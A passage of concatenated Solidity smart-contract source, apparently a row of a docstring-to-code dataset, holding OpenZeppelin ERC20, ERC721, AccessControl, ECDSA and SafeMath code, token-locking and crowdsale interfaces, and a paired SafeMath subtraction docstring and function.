function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IRouter {
function initialiseRequest(address, uint256, bytes32) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title RequestIdBase
*
* @dev A contract used by ConsumerBase and Router to generate requestIds
*
*/
contract RequestIdBase {
/**
* @dev makeRequestId generates a requestId
*
* @param _dataConsumer address of consumer contract
* @param _dataProvider address of provider
* @param _router address of Router contract
* @param _requestNonce uint256 request nonce
* @param _data bytes32 hex encoded data endpoint
*
* @return bytes32 requestId
*/
function makeRequestId(
address _dataConsumer,
address _dataProvider,
address _router,
uint256 _requestNonce,
bytes32 _data) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_dataConsumer, _dataProvider, _router, _requestNonce, _data));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;
interface IWETH {
function deposit() external payable;
function withdraw(uint256 wad) external;
function transfer(address to, uint256 value) external returns (bool);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface ILockShiboshi {
function lockInfoOf(address user)
external
view
returns (
uint256[] memory ids,
uint256 startTime,
uint256 numDays,
address ogUser
);
function weightOf(address user) external view returns (uint256);
function extraShiboshiNeeded(address user, uint256 targetWeight)
external
view
returns (uint256);
function extraDaysNeeded(address user, uint256 targetWeight)
external
view
returns (uint256);
function isWinner(address user) external view returns (bool);
function unlockAt(address user) external view returns (uint256);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface ILockLeash {
function lockInfoOf(address user)
external
view
returns (
uint256 amount,
uint256 startTime,
uint256 numDays,
address ogUser
);
function weightOf(address user) external view returns (uint256);
function extraLeashNeeded(address user, uint256 targetWeight)
external
view
returns (uint256);
function extraDaysNeeded(address user, uint256 targetWeight)
external
view
returns (uint256);
function isWinner(address user) external view returns (bool);
function unlockAt(address user) external view returns (uint256);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface ILandAuction {
function winningsBidsOf(address user) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
Returns the subtraction of two unsigned integers, reverting on overflow (when the result is negative). Counterpart to Solidity's `-` operator. Requirements: - Subtraction cannot overflow./
|
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
| 1,496,175
|
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: contracts/crowdsale/IIvoCrowdsale.sol
/**
* @title Interface of IVO Crowdale
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract IIvoCrowdsale {
/**
* @return The starting time of the crowdsale.
*/
function startingTime() public view returns(uint256);
}
// File: contracts/vault/IVault.sol
/*
* @title Interface for basic vaults
* @author Validity Labs AG <info@validitylabs.org>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract IVault {
/**
* @notice Adding beneficiary to the vault
* @param beneficiary The account that receives token
* @param value The amount of token allocated
*/
